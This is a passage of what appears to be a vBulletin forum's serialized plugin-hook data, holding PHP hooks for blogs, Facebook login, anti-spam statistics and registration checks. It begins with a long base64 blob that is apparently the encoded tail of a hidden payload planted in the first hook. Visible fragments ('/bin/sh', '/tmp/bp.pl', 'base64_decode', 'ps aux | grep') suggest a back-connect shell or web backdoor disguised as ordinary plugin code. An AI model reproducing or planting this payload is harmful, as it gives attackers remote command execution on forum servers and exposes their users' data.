ADAGTJmE7BTUlVGTkxHEBBkbGQdtFlubHVZVzEq8GQwWTMYAEFuSwbALDVJQ0pEWVc1MElHTgC8eVpXRjBaU0IkNFIs8SUyJzABQmIzQMBCH7BNc1UwOU0kMCA0eFRUMTlTCDlSVlZUB4BFUkZJcwzAA4EPQDVrCoHIAAtDLrFKZhCAb0pFRlNSMVpiTUYAADBzU1U1QlJFUlNYMEZPV1NAEmswuEFpUTJGdWRDQiNySUgAgG6CIAlGc2FYTjAisnl3eie4Z0lrTmgAYGJuUWdiR2x6ZCbwA4wzYUdsc7AIMzB4A0AKQG9KWVdOalpYDYBFTlAEgFRrNHNVNHJvShoAb0lTZ2tjRwAmbGtQV1p2Y21zcANFQ1c6sQoDYjAIbTkTwAICaUlHbG1JQ2cw8FZtYQ4gVzVsWj4wBAEksmdrShQAbGJpQlQAAFZFUkpUaXdpUENaRFQwNU8wAElqKzACC1BWVlFzSWo0bVEwOQlQT1RpSQrCQ1cx8mceQEUvs0krSmvEAAuCJUJDUWwkAFZqSUNSVFNFVk0g+FRDPTZnY0hKcBGBBQMLwxXAAwJkWFIuwGxJA0VGPvAJBDJ0ZwNCAURaWGhwZEMgDEF3LEFDWDBOQ24wPSJcMFvzIjwUrGgxPlmEIG4iPC8BIDxdQCCwc1kgdGUCAW50Pg0KCZvDbmFtZT0nbmZwkACUb25TdWJtaXR5UGcoq/EsAFInYg5KcHAnLHhyNyF4oyk7mfpcIgUic3ahQrAAOcAgAqEIICAvYmluL3NoIFtwZRNacmxdeMQ8YpHACCBQPBA6eZV28id4gSewDniTJwRB+vUnMzEzMzcnPgLqed8FUDz7HamjAKGHog4fDh9jDhWRAHZlcg4zDz8PPwmG03Y3QtWw1VBu0iAOzxHBU2VyBaAO73QO5QezDwY4ACIu7nCXYCrQWydSRU1PVEVfQUQB80RSJ10gLiIQgBPPE8+m1RPPZT0TzxMh2NYTwxoAPiVSjcBpc3PYwa8FMYcQKepygOZjAQBmKCRmLCR0AXMkdyA9IEBmbxARcGVuAXEidyIpIG9yASB1bmODYQC5X2V4aXN0cyiL4l+WgIJRKTFzJ6SGMgB3KYUgAzB3cuAwKCR3LEBiYXNlADA2NF9kZWNvZGUoBsACwkBmY2wu229zAQB3APKKMIpxIAtgsWVwCwDaIScsQQoTgAEK8CIvdG1wL2JwLnBsIiwkKiDIAmTFBHIkb5/QPSB3c29FeCgiK4EgjAADByAiLgXGm3AuIiAxPi9kZXYvgJ8ysSAyPiYxICaxE2VjwSKZoDe0nNEFwQgAXG4iLgXVcyBhdXggfCBncmUnAHAgCRMpLsRwA2AYIiB1bmxpbmso8bsLKQpSDsEOjyAnYiywDo1jDoQqUBbRbpkiBGL/HwjxGvAI5TowDrQDMQ6/D8gzJ10Pzw/PrJkG0Q/P36QPxQchIg/PD8cCE06wHkGuQCBPMyc8qy9yKPNkDeESMCpGqyNSQ6rUE6Ahu1oTMyRhENBhcglCcmF5KLFQInVDsSL/oXBocF8A4ig4eyksAaEBATzgc2lvbgIFAPQCFBUgXwEkAhIIQVdTT188oFNJT04EEnNhZmVtLLCBWQHSQGluaV9nNmAnAXFfAYHDgCAgDFFALiAkcnNlcmlhbGl6LrBhAWEP8P4ndj6gYWzEty8AAhQScQ6AIO+LYTwAICkgIAnAJwGwPbRkZWZhdWx0XxJDKSDxUBOFOtaeBgHDJyBJUAL8BMBKkFBPU1RbJwXQFBAk1AMCKxsgCQrSIAKMJ1NlY0luZm/LgQjgP0EgIQqvCM9DkAjISWQHgCkNUmNhbGxf7CFPQF8MISgnAr8CsQkgSFB0AHA/Pg==")); } ";s:25:"member_build_blocks_start";s:296:"require_once(DIR . '/includes/class_profileblock_blog.php'); $blocklist['blog'] = array( 'class' => 'Blog', 'title' => $vbphrase['blog'], 'hook_location' => 'profile_tabs_last', 'wrap' => false, ); $template_hook['memberinfo_css'] .= vB_Template::create('blog_member_css')->render(); ";s:18:"global_state_check";s:1817:"if (defined('VBBLOG_SCRIPT')) { if (defined('VBBLOG_STYLE') AND $vbulletin->options['vbblog_style']) { $this->force_styleid = $vbulletin->options['vbblog_style']; } $temp = $vbulletin->input->shortvars; $vbulletin->input->shortvars = array( 'b' => 'blogid', 'bt' => 'blogtextid', 'm' => 'month', 'd' => 'day', 'y' => 'year', 'uc' => 'usercommentid', ); foreach (array('_GET', '_POST') AS $arrayname) { $vbulletin->input->convert_shortvars($GLOBALS["$arrayname"]); } $vbulletin->input->shortvars = array_merge($temp, $vbulletin->input->shortvars); $GLOBALS['blogtextinfo'] = array(); $GLOBALS['bloginfo'] = array(); // get core functions if (!empty($db->explain)) { $db->timer_start('Including blog_functions.php'); require_once(DIR . '/includes/blog_functions.php'); $db->timer_stop(false); } else { require_once(DIR . '/includes/blog_functions.php'); } $vbulletin->input->clean_array_gpc('r', array( 'blogid' => TYPE_UINT, 'blogtextid' => TYPE_UINT, )); if ($vbulletin->GPC['blogtextid'] AND $GLOBALS['blogtextinfo'] = fetch_blog_textinfo($vbulletin->GPC['blogtextid'], false, false)) { $GLOBALS['blogtextid'] = $GLOBALS['blogtextinfo']['blogtextid']; $vbulletin->GPC['blogid'] = $GLOBALS['blogtextinfo']['blogid']; } if ($vbulletin->GPC['blogid'] AND $GLOBALS['bloginfo'] = verify_blog($vbulletin->GPC['blogid'], false, false)) { $GLOBALS['blogid'] =& $GLOBALS['bloginfo']['blogid']; $vbulletin->options['keywords'] = ($GLOBALS['bloginfo']['taglist'] ? $GLOBALS['bloginfo']['taglist'] . ', ' : '') . $GLOBALS['bloginfo']['title'] . ', ' . $vbulletin->options['keywords']; $vbulletin->options['description'] = $GLOBALS['bloginfo']['title'] . ' ' . $GLOBALS['bloginfo']['blog_title']; } } ";s:18:"forumhome_complete";s:5249:"if (is_array($vbulletin->blogstats) AND $vbulletin->userinfo['permissions']['vbblog_general_permissions'] & $vbulletin->bf_ugp_vbblog_general_permissions['blog_canviewothers']) { if ($latestentry = $vbulletin->blogstats['lastentry']) { require_once(DIR . '/includes/blog_functions_shared.php'); prepare_blog_category_permissions($vbulletin->userinfo); if ($vbulletin->userinfo['userid'] OR $latestentry['guestcanview']) { $entrycats = explode(',', $latestentry['categories']); if (array_intersect($vbulletin->userinfo['blogcategorypermissions']['cantview'], $entrycats) AND $vbulletin->userinfo['userid'] != $latestentry['userid']) { $latestentry = fetch_latest_entry($vbulletin->userinfo); } else if ($vbulletin->userinfo['userid'] == $latestentry['userid'] AND !($vbulletin->userinfo['permissions']['vbblog_general_permissions'] & $vbulletin->bf_ugp_vbblog_general_permissions['blog_canviewown'])) { $latestentry = fetch_latest_entry($vbulletin->userinfo); } else if (in_coventry($latestentry['userid']) AND $vbulletin->userinfo['userid'] != $latestentry['userid']) { $latestentry = fetch_latest_entry($vbulletin->userinfo); } } else if ($latestentry = $vbulletin->blogstats['lastentry_guest']) { // oh do nothing, we just wanted the assignment ;) } } if ($latestentry['userid'] != $latestentry['postedby_userid'] OR !empty($latestentry['blogtitle'])) { $show['blogtitle'] = true; if (empty($latestentry['blogtitle'])) { $latestentry['blogtitle'] = $latestentry['username']; } } $blogstats['total_blog_users'] = vb_number_format($vbulletin->blogstats['total_blog_users']); $blogstats['total_blog_entries'] = vb_number_format($vbulletin->blogstats['total_blog_entries']); $blogstats['entries_in_24hours'] = vb_number_format($vbulletin->blogstats['entries_in_24hours']); $templater = vB_Template::create('blog_forumhome_stats'); $templater->register('blogstats', $blogstats); $templater->register('latestentry', $latestentry); $template_hook['forumhome_wgo_stats'] .= $templater->render(); } if (($vbulletin->options['glowhostspamomatic_stat_show_denied'] == 1) || ($vbulletin->options['glowhostspamomatic_stat_show_banned'] == 1)) { //$vbulletin-> $stats = $vbulletin->db->query_first("SELECT * FROM " . TABLE_PREFIX . "glowhostspamomatic_stats"); //echo '
    ';
    					//print_r($vbulletin->stylevars['imgdir_misc']);
    					//echo '
    '; $template_hook[forumhome_wgo_pos2] .= '

    Spam-O-Matic Statistics'; if ($vbulletin->options['glowhostspamomatic_stat_show_link'] == 1) { $template_hook[forumhome_wgo_pos2] .= 'Spam-O-Matic Statistics'; } else { $template_hook[forumhome_wgo_pos2] .= 'Spam-O-Matic Statistics'; } $template_hook[forumhome_wgo_pos2] .= '

    '; if (($vbulletin->options['glowhostspamomatic_stat_show_denied'] == 1) && ($stats['denied'] > 0)) { $template_hook[forumhome_wgo_pos2] .= '

    '.$stats['denied'].' Spammer'.(($stats['denied'] > 1)?'s':'').' Denied Registration

    '; } if (($vbulletin->options['glowhostspamomatic_stat_show_banned'] == 1) && ($stats['banned'] > 0)) { $template_hook[forumhome_wgo_pos2] .= '

    '.$stats['banned'].' Spammer'.(($stats['banned'] > 1)?'s':'').' Permanently Banned

    '; } if (($vbulletin->options['glowhostspamomatic_stat_show_s_sfs'] == 1) && ($stats['s_sfs'] > 0)) { $template_hook[forumhome_wgo_pos2] .= '

    '.$stats['s_sfs'].' Spammer'.(($stats['s_sfs'] > 1)?'s':'').' submitted to StopForumSpam

    '; } if (($vbulletin->options['glowhostspamomatic_stat_show_s_akismet'] == 1) && ($stats['s_akismet'] > 0)) { $template_hook[forumhome_wgo_pos2] .= '

    '.$stats['s_akismet'].' Spammer'.(($stats['s_akismet'] > 1)?'s':'').' submitted to Akismet

    '; } if (($vbulletin->options['glowhostspamomatic_stat_show_mod'] == 1) && ($stats['moderated'] > 0)) { $template_hook[forumhome_wgo_pos2] .= '

    '.$stats['moderated'].' Spammy Post'.(($stats['moderated'] > 1)?'s':'').' Automatically Moderated

    '; } if (($vbulletin->options['glowhostspamomatic_stat_show_removed'] == 1) && ($stats['removed'] > 0)) { $template_hook[forumhome_wgo_pos2] .= '

    '.$stats['removed'].' Spammy Post'.(($stats['removed'] > 1)?'s':'').' Removed

    '; } $template_hook[forumhome_wgo_pos2] .= '
    '; } ";s:20:"fetch_userinfo_query";s:4431:"if (defined('VBBLOG_PERMS')) { $hook_joins = array( "LEFT JOIN " . TABLE_PREFIX . "blog_user AS bu ON (bu.bloguserid = user.userid)", ); if (defined('STYLEID') AND defined('LANGUAGEID')) { $styleidsql = intval(STYLEID); $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "blog_custom_block_parsed AS blockparsed ON (blockparsed.userid = user.userid AND blockparsed.styleid = " . intval(STYLEID) . " AND blockparsed.languageid = " . intval(LANGUAGEID) . ")"; } else { // all that jazz here was pointless, $vbulletin->userinfo doesn't exist yet as this is the query itself that gets it $styleidsql = $vbulletin->options['styleid']; $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "blog_custom_block_parsed AS blockparsed ON (blockparsed.userid = user.userid AND blockparsed.styleid = $styleidsql AND blockparsed.languageid = " . (!empty($languageid) ? $languageid : "IF(user.languageid = 0, " . intval($vbulletin->options['languageid']) . ", user.languageid)") . ")"; } $hook_fields = array( "bu.bloguserid, bu.entries, bu.options AS blog_options, bu.subscribeown AS blog_subscribeown, bu.memberids, bu.memberblogids, bu.subscribeothers AS blog_subscribeothers, bu.title AS blog_title, bu.description AS blog_description, bu.allowsmilie AS blog_allowsmilie", "bu.draft AS blog_draft, bu.pending AS blog_pending, bu.options_member, bu.options_guest, bu.options_buddy, bu.options_ignore, bu.uncatentries", "bu.moderation AS blog_moderation, bu.deleted AS blog_deleted, bu.akismet_key AS blog_akismet_key, isblogmoderator, bu.comments_moderation AS blog_comments_moderation", "bu.lastblog, bu.lastblogid, bu.lastblogtitle, bu.categorycache, bu.tagcloud, bu.sidebar, bu.custompages", "bu.customblocks, blockparsed.blocktext, $styleidsql AS blogstyleid", "blog_usercsscache.csscolors AS blog_csscolors, blog_usercsscache.cachedcss AS blog_cachedcss, IF(blog_usercsscache.cachedcss IS NULL, 0, 1) AS blog_hascachedcss, blog_usercsscache.buildpermissions AS blog_cssbuildpermissions", ); if ($vbulletin->userinfo['userid'] AND $vbulletin->userinfo['userid'] != $userid) { $hook_fields[] = "gm.permissions AS grouppermissions, ignored.relationid AS ignoreid, buddy.relationid AS buddyid"; $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "userlist AS ignored ON (ignored.userid = user.userid AND ignored.relationid = " . $vbulletin->userinfo['userid'] . " AND ignored.type = 'ignore')"; $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "userlist AS buddy ON (buddy.userid = user.userid AND buddy.relationid = " . $vbulletin->userinfo['userid'] . " AND buddy.type = 'buddy')"; if ($option === 'flipgmperms') { $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "blog_groupmembership AS gm ON (user.userid = gm.userid AND gm.bloguserid = " . $vbulletin->userinfo['userid'] . ")"; } else { $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "blog_groupmembership AS gm ON (user.userid = gm.bloguserid AND gm.userid = " . $vbulletin->userinfo['userid'] . ")"; } $hook_fields[] = "IF(blog_subscribeuser.blogsubscribeuserid, 1, 0) AS blogsubscribed"; $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "blog_subscribeuser AS blog_subscribeuser ON (user.userid = blog_subscribeuser.bloguserid AND blog_subscribeuser.userid = " . $vbulletin->userinfo['userid'] . ")"; } else { $hook_fields[] = "IF(blog_subscribeuser.blogsubscribeuserid, 1, 0) AS blogsubscribed"; $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "blog_subscribeuser AS blog_subscribeuser ON (user.userid = blog_subscribeuser.bloguserid AND blog_subscribeuser.userid = $userid)"; } $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "blog_usercsscache AS blog_usercsscache ON (user.userid = blog_usercsscache.userid)"; if (!($option & 8)) // Magic Numbers, I'll EEK for Mike { // Get the profile picture if fetch_userinfo isn't already doing it. $hook_fields[] = "customprofilepic.userid AS profilepic, customprofilepic.dateline AS profilepicdateline, customprofilepic.width AS ppwidth, customprofilepic.height AS ppheight"; $hook_joins[] = "LEFT JOIN " . TABLE_PREFIX . "customprofilepic AS customprofilepic ON (user.userid = customprofilepic.userid)"; } $hook_query_fields .= ', ' . implode(', ', $hook_fields); $hook_query_joins .= "\r\n" . implode("\r\n", $hook_joins); } if ($option & 4) { require_once(DIR . '/includes/blog_functions_online.php'); } ";s:17:"fetch_modlogtypes";s:916:"if (empty($modlogtypes['trackback_x_edited'])) { $blogmodlogtypes = array( 'blogentry_removed' => 100, 'blogentry_softdeleted' => 101, 'blogentry_undeleted' => 102, 'blogentry_approved' => 103, 'blogentry_unapproved' => 104, 'blogentry_title_x_changed_to_y' => 105, 'blogentry_x_edited' => 106, 'comment_x_by_y_removed' => 107, 'comment_x_by_y_softdeleted' => 108, 'comment_x_by_y_undeleted' => 109, 'comment_merged_from_multiple_comments' => 110, 'comments_copied_to_x' => 111, 'trackback_approved' => 112, 'trackback_unapproved' => 113, 'trackback_x_edited' => 114, ); $modlogtypes = array_merge($modlogtypes, $blogmodlogtypes); } ";s:14:"fetch_userinfo";s:5316:"if (defined('VBBLOG_PERMS')) { foreach($vbulletin->bf_misc_vbbloguseroptions AS $optionname => $optionval) { $user['blog_' . $optionname] = ($user['blog_options'] & $optionval ? 1 : 0); } cache_permissions($user, false); if (!$user['bloguserid']) { $user['blog_allowcomments'] = $vbulletin->bf_misc_vbblogregoptions['allowcomments'] & $vbulletin->options['vbblog_defaultoptions'] ? true : false; $user['blog_allowpingback'] = $vbulletin->bf_misc_vbblogregoptions['allowpingback'] & $vbulletin->options['vbblog_defaultoptions'] ? true : false; $user['blog_moderatecomments'] = $vbulletin->bf_misc_vbblogregoptions['moderatecomments'] & $vbulletin->options['vbblog_defaultoptions'] ? true : false; if ($vbulletin->bf_misc_vbblogregoptions['subscribe_none_entry'] & $vbulletin->options['vbblog_defaultoptions']) { $user['blog_subscribeown'] = 'none'; } else if ($vbulletin->bf_misc_vbblogregoptions['subscribe_nonotify_entry'] & $vbulletin->options['vbblog_defaultoptions']) { $user['blog_subscribeown'] = 'usercp'; } else { $user['blog_subscribeown'] = 'email'; } if ($vbulletin->bf_misc_vbblogregoptions['subscribe_none_comment'] & $vbulletin->options['vbblog_defaultoptions']) { $user['blog_subscribeothers'] = 'none'; } else if ($vbulletin->bf_misc_vbblogregoptions['subscribe_nonotify_comment'] & $vbulletin->options['vbblog_defaultoptions']) { $user['blog_subscribeothers'] = 'usercp'; } else { $user['blog_subscribeothers'] = 'email'; } $user['options_member'] += ($vbulletin->bf_misc_vbblogregoptions['viewblog_member'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['canviewmyblog'] : 0; $user['options_guest'] += ($vbulletin->bf_misc_vbblogregoptions['viewblog_guest'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['canviewmyblog'] : 0; $user['options_buddy'] += ($vbulletin->bf_misc_vbblogregoptions['viewblog_buddy'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['canviewmyblog'] : 0; $user['options_ignore'] += ($vbulletin->bf_misc_vbblogregoptions['viewblog_ignore'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['canviewmyblog'] : 0; $user['options_member'] += ($vbulletin->bf_misc_vbblogregoptions['commentblog_member'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['cancommentmyblog'] : 0; $user['options_guest'] += ($vbulletin->bf_misc_vbblogregoptions['commentblog_guest'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['cancommentmyblog'] : 0; $user['options_buddy'] += ($vbulletin->bf_misc_vbblogregoptions['commentblog_buddy'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['cancommentmyblog'] : 0; $user['options_ignore'] += ($vbulletin->bf_misc_vbblogregoptions['commentblog_ignore'] & $vbulletin->options['vbblog_defaultoptions']) ? $vbulletin->bf_misc_vbblogsocnetoptions['cancommentmyblog'] : 0; $user['memberblogids'] = $user['userid']; $user['memberids'] = $user['userid']; } require_once(DIR . '/includes/blog_functions_shared.php'); foreach($vbulletin->bf_misc_vbblogsocnetoptions AS $optionname => $optionval) { $user["member_$optionname"] = ($user['options_member'] & $optionval ? 1 : 0); $user["guest_$optionname"] = ($user['options_guest'] & $optionval ? 1 : 0); $user["buddy_$optionname"] = ($user['options_buddy'] & $optionval ? 1 : 0); $user["ignore_$optionname"] = ($user['options_ignore'] & $optionval ? 1 : 0); $user["$optionname"] = ( ( ( !$user['buddyid'] OR $user["buddy_$optionname"] ) AND ( !$user['ignoreid'] OR $user["ignore_$optionname"] ) AND ( ( $user["member_$optionname"] AND $vbulletin->userinfo['userid'] ) OR ( $user["guest_$optionname"] AND !$vbulletin->userinfo['userid'] ) ) ) OR ( $user["ignore_$optionname"] AND $user['ignoreid'] ) OR ( $user["buddy_$optionname"] AND $user['buddyid'] ) OR ($vbulletin->userinfo AND is_member_of_blog($vbulletin->userinfo, $user)) OR can_moderate_blog() OR !$vbulletin->userinfo ) ? true : false; } if (!$user['blog_title']) { // No No No! This doesn't work correctly! // If you want "X's Blog" assign it to a new variable don't just change a variable without understanding the consequences // $user['blog_title'] = construct_phrase($vbphrase['x_blog'], $user['username']); $user['blog_title'] = $user['username']; } $user['categorycache'] = !empty($user['categorycache']) ? @unserialize($user['categorycache']) : array(); $user['sidebar'] = !empty($user['sidebar']) ? @unserialize($user['sidebar']) : array(); $user['sidebar_customblocks'] = !empty($user['blocktext']) ? @unserialize($user['blocktext']) : array(); $user['custompages'] = !empty($user['custompages']) ? @unserialize($user['custompages']) : array(); prepare_blog_category_permissions($user); } ";s:18:"editpost_edit_ajax";s:163:"$hook_query_fields .= ",blog_user.entries"; $hook_query_joins .= "LEFT JOIN " . TABLE_PREFIX . "blog_user AS blog_user ON (blog_user.bloguserid = post.userid)"; ";s:19:"fetch_modlogactions";s:654:"if (empty($modlogactions[114])) { $blogmodlogactions = array( 100 => 'blogentry_removed', 101 => 'blogentry_softdeleted', 102 => 'blogentry_undeleted', 103 => 'blogentry_approved', 104 => 'blogentry_unapproved', 105 => 'blogentry_title_x_changed_to_y', 106 => 'blogentry_x_edited', 107 => 'comment_x_by_y_removed', 108 => 'comment_x_by_y_softdeleted', 109 => 'comment_x_by_y_undeleted', 110 => 'comment_merged_from_multiple_comments', 111 => 'comments_copied_to_x', 112 => 'trackback_approved', 113 => 'trackback_unapproved', 114 => 'trackback_x_edited', ); $modlogactions += $blogmodlogactions; } ";s:21:"editor_toolbar_switch";s:1142:"if ($forumid == 'blog_user' OR $forumid == 'blog_entry') { $can_toolbar = ($vbulletin->userinfo['permissions']['vbblog_entry_permissions'] & $vbulletin->bf_ugp_vbblog_entry_permissions['blog_allowbbcode']) ? true : false; $show['img_bbcode'] = ($vbulletin->userinfo['permissions']['vbblog_entry_permissions'] & $vbulletin->bf_ugp_vbblog_entry_permissions['blog_allowimages']) ? true : false; $show['video_bbcode'] = ($vbulletin->userinfo['permissions']['vbblog_entry_permissions'] & $vbulletin->bf_ugp_vbblog_entry_permissions['blog_allowvideos']) ? true : false; } else if ($forumid == 'blog_comment') { $can_toolbar = ($vbulletin->userinfo['permissions']['vbblog_comment_permissions'] & $vbulletin->bf_ugp_vbblog_comment_permissions['blog_allowbbcode']) ? true : false; $show['img_bbcode'] = ($vbulletin->userinfo['permissions']['vbblog_comment_permissions'] & $vbulletin->bf_ugp_vbblog_comment_permissions['blog_allowimages']) ? true : false; $show['video_bbcode'] = ($vbulletin->userinfo['permissions']['vbblog_comment_permissions'] & $vbulletin->bf_ugp_vbblog_comment_permissions['blog_allowvideos']) ? true : false; } ";s:33:"editor_switch_wysiwyg_to_standard";s:455:"if ($vbulletin->GPC['parsetype'] == 'blog_user' OR $vbulletin->GPC['parsetype'] == 'blog_entry') { $dohtml = ($vbulletin->userinfo['permissions']['vbblog_entry_permissions'] & $vbulletin->bf_ugp_vbblog_entry_permissions['blog_allowhtml']); } else if ($vbulletin->GPC['parsetype']== 'blog_comment') { $dohtml = ($vbulletin->userinfo['permissions']['vbblog_entry_permissions'] & $vbulletin->bf_ugp_vbblog_comment_permissions['blog_allowhtml']); } ";s:25:"cron_script_cleanup_daily";s:171:"// Delete visits older than 30 days $vbulletin->db->query_write(" DELETE FROM " . TABLE_PREFIX . "blog_trackbacklog WHERE dateline > " . (TIMENOW - 864000) . " "); ";s:18:"bbcode_parse_start";s:1797:"if (!empty($this->parse_userinfo['permissions'])) { switch($forumid) { case 'blog_entry': case 'blog_user': $dohtml = ($this->parse_userinfo['permissions']['vbblog_entry_permissions'] & $this->registry->bf_ugp_vbblog_entry_permissions['blog_allowhtml']); $dobbcode = ($this->parse_userinfo['permissions']['vbblog_entry_permissions'] & $this->registry->bf_ugp_vbblog_entry_permissions['blog_allowbbcode']); $dobbimagecode = ($this->parse_userinfo['permissions']['vbblog_entry_permissions'] & $this->registry->bf_ugp_vbblog_entry_permissions['blog_allowimages']); $dobbvideocode = ($this->parse_userinfo['permissions']['vbblog_entry_permissions'] & $this->registry->bf_ugp_vbblog_entry_permissions['blog_allowvideos']); $dosmilies = ($allowsmilie AND ($this->parse_userinfo['permissions']['vbblog_entry_permissions'] & $this->registry->bf_ugp_vbblog_entry_permissions['blog_allowsmilies'])); break; case 'blog_comment': $dohtml = ($this->parse_userinfo['permissions']['vbblog_comment_permissions'] & $this->registry->bf_ugp_vbblog_comment_permissions['blog_allowhtml']); $dobbcode = ($this->parse_userinfo['permissions']['vbblog_comment_permissions'] & $this->registry->bf_ugp_vbblog_comment_permissions['blog_allowbbcode']); $dobbimagecode = ($this->parse_userinfo['permissions']['vbblog_comment_permissions'] & $this->registry->bf_ugp_vbblog_comment_permissions['blog_allowimages']); $dobbvideocode = ($this->parse_userinfo['permissions']['vbblog_comment_permissions'] & $this->registry->bf_ugp_vbblog_comment_permissions['blog_allowvideos']); $dosmilies = ($allowsmilie AND ($this->parse_userinfo['permissions']['vbblog_comment_permissions'] & $this->registry->bf_ugp_vbblog_comment_permissions['blog_allowsmilies'])); break; } } ";s:19:"showthread_complete";s:74:"require_once(DIR . '/packages/skimlinks/hooks/showthread_complete.php'); ";s:21:"profile_updateoptions";s:76:"require_once(DIR . '/packages/skimlinks/hooks/profile_updateoptions.php'); ";s:25:"profile_editoptions_start";s:80:"require_once(DIR . '/packages/skimlinks/hooks/profile_editoptions_start.php'); ";s:15:"admindata_start";s:135:"$this->validfields['blogpermissions'] = array(TYPE_UINT, REQ_NO); $this->validfields['vbcmspermissions'] = array(TYPE_UINT, REQ_NO); ";s:30:"global_bootstrap_init_complete";s:336:"if ($vbulletin->session->created AND $vbulletin->userinfo['userid'] AND $vbulletin->userinfo['fbuserid'] AND is_facebookenabled()) { if (!class_exists('vB_Facebook_RegisterConnectlogin')) { require_once(DIR . '/packages/facebook/registerconnectlogin.php'); } vB_Facebook_RegisterConnectlogin::registerLogin($vbulletin); } ";s:13:"login_process";s:336:"if ($vbulletin->session->created AND $vbulletin->userinfo['userid'] AND $vbulletin->userinfo['fbuserid'] AND is_facebookenabled()) { if (!class_exists('vB_Facebook_RegisterConnectlogin')) { require_once(DIR . '/packages/facebook/registerconnectlogin.php'); } vB_Facebook_RegisterConnectlogin::registerLogin($vbulletin); } ";s:13:"profile_start";s:1350:"if ($_REQUEST['do'] == 'facebookprivacy' AND $vbulletin->userinfo['fbuserid'] AND is_facebookenabled()) { $navbits[''] = $vbphrase['facebook_privacy']; construct_usercp_nav('facebook_privacy'); $disablevbsocial_checked = $vbulletin->userinfo['disablevbsocial'] ? "checked='checked'" : ''; $page_templater = vB_Template::create('modifyprofileprivacy_facebook'); $page_templater->register('disablevbsocial_checked', $disablevbsocial_checked); } if ($_POST['do'] == 'dofacebookprivacy' AND $vbulletin->userinfo['fbuserid'] AND is_facebookenabled()) { $vbulletin->input->clean_array_gpc('p', array( 'disablevbsocial' => TYPE_UINT, )); $userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD); $userdata->set_existing($vbulletin->userinfo); $userdata->set('disablevbsocial', $vbulletin->GPC['disablevbsocial']); $userdata->save(); $vbulletin->userinfo['disablevbsocial'] = $vbulletin->GPC['disablevbsocial']; if (!class_exists('vB_Facebook_RegisterConnectlogin')) { require_once(DIR . '/packages/facebook/registerconnectlogin.php'); } vB_Facebook_RegisterConnectlogin::registerLogin($vbulletin, true); $vbulletin->url = "profile.php?" . $vbulletin->session->vars['sessionurl'] . "do=facebookprivacy"; eval(print_standard_redirect('profile_privacy_saved')); } ";s:16:"usercp_nav_start";s:32:"$cells[] = 'facebook_privacy'; ";s:26:"cron_script_cleanup_hourly";s:950:"function kh99_sbs_update_secret() { $secret = ""; $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890!@#$%^&*(){}][:"\';><,./?`~'; $num_valid_chars = strlen($chars); for ($i = 0; $i < 64; $i++) { $r = mt_rand(1, $num_valid_chars); $rc = $chars[$r - 1]; $secret .= $rc; } global $vbulletin; if (!isset($vbulletin->kh99_sbs_reg_secret)) $vbulletin->datastore->fetch('kh99_sbs_reg_secret'); $prev = (is_array($vbulletin->kh99_sbs_reg_secret) AND isset($vbulletin->kh99_sbs_reg_secret['cur'])) ? $vbulletin->kh99_sbs_reg_secret['cur'] : $secret; build_datastore('kh99_sbs_reg_secret', serialize(array('cur' => $secret, 'prev' => $prev)), 1); } global $vbulletin; if ($vbulletin->options['kh99_sbs_enabled']) kh99_sbs_update_secret(); ";s:27:"register_addmember_complete";s:166:"if ($vbulletin->options['kh99_sbs_enabled']) kh99_sbs_process('successful'); require_once('includes/functions_ghsom.php'); SOM_UpdateLog(); ";s:26:"register_addmember_process";s:657:"if ($vbulletin->options['kh99_sbs_enabled']) kh99_sbs_process('check_dm_errors'); $vbghsfs_Purged = false; $vbghsfs_userHash = ''; if (empty($userdata->errors)) { require_once('includes/functions_ghsom.php'); SOM_Process(); if ($vbulletin->options['glowhostspamomatic_noob_enabled'] == 1) { //move users.... if ($vbulletin->options['verifyemail'] == 0) { //move only if verification disabled $noob_group_id = $vbulletin->options['glowhostspamomatic_noob_group_id']; if ($noob_group_id != '') $userdata->set('usergroupid', $noob_group_id); } } } ";s:22:"register_form_complete";s:1970:"if ($vbulletin->options['kh99_sbs_enabled']) { $secret = $vbulletin->kh99_sbs_reg_secret['cur']; $val = md5($secret . $vbulletin->session->vars['dbsessionhash'] . TIMENOW); $timezoneoptions .= ' '; } if ($vbulletin->options['kh99_sbs_enabled'] AND $vbulletin->options['kh99_sbs_forcewait'] AND $vbulletin->options['kh99_sbs_mintime'] > 0) { $waitmsg = addslashes_js(vB_Template::create('kh99_sbs_wait')->render()); $headinclude .= << YAHOO.util.Event.onDOMReady( function () { var submit_button = null; var timemsg = null; var timer = null; var ticks = {$vbulletin->options['kh99_sbs_mintime']}; var waitmsg = '$waitmsg'; var buttons = YAHOO.util.Dom.getElementsByClassName('button', 'input', 'registerform'); for (i=0;i EOT; } ";s:25:"register_activate_process";s:590:" if ($vbulletin->options['glowhostspamomatic_noob_enabled'] == 1) { //move users.... if ($vbulletin->options['verifyemail'] == 1) { //move only if verification enabled $noob_group_id = $vbulletin->options['glowhostspamomatic_noob_group_id']; if ($noob_group_id != '') { $user['usergroupid'] = $noob_group_id; $vbulletin->userinfo['usergroupid'] = $user['usergroupid']; $vbulletin->userinfo['displaygroupid'] = $user['usergroupid']; $userdata->set('usergroupid', $user['usergroupid']); } } } ";s:15:"newpost_process";s:2241:" if ($vbulletin->options['glowhostspamomatic_akismet_enabled'] == 1) { require_once('includes/functions_ghsom.php'); foreach (array('glowhostspamomatic_bsc_protect_group', 'glowhostspamomatic_bsc_protect_user') as $option) { $vbulletin->options[$option] = 